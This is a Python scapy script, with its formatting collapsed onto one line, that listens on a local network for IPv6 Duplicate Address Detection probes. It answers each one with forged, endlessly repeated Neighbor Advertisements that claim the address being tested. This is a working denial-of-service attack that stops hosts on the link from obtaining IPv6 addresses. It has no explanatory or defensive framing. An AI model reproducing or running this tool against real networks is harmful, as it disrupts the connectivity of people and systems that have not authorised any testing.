#! /usr/bin/env python import sys from multiprocessing import Process from scapy.all import * def f(pkt): sendp(pkt, loop=1, inter=1) def callback(pkt): if IPv6 in pkt and ICMPv6ND_NS in pkt: src_mac=pkt.sprintf("%Ether.src%") # Source Adresse src=pkt.sprintf("%IPv6.src%") # Source Adresse dst=pkt.sprintf("%IPv6.dst%") # Destination Adresse tgt=pkt.sprintf("%ICMPv6ND_NS.tgt%") # Target adresse if src=="::" and "ff02::1:ff" in dst: eth = Ether(src=src_mac,dst=src_mac) ip = IPv6(src=tgt,dst="ff02::1") icmp = ICMPv6ND_NA(tgt=tgt) icmpOpt = ICMPv6NDOptDstLLAddr(lladdr=src_mac) packet = eth/ip/icmp/icmpOpt p = Process(target=f, args=(packet,)) p.start() def main(): conf.iface6="eth1" try: scapy.sendrecv.sniff(prn=callback,store=0) except KeyboardInterrupt: exit(0) if __name__ == "__main__": main()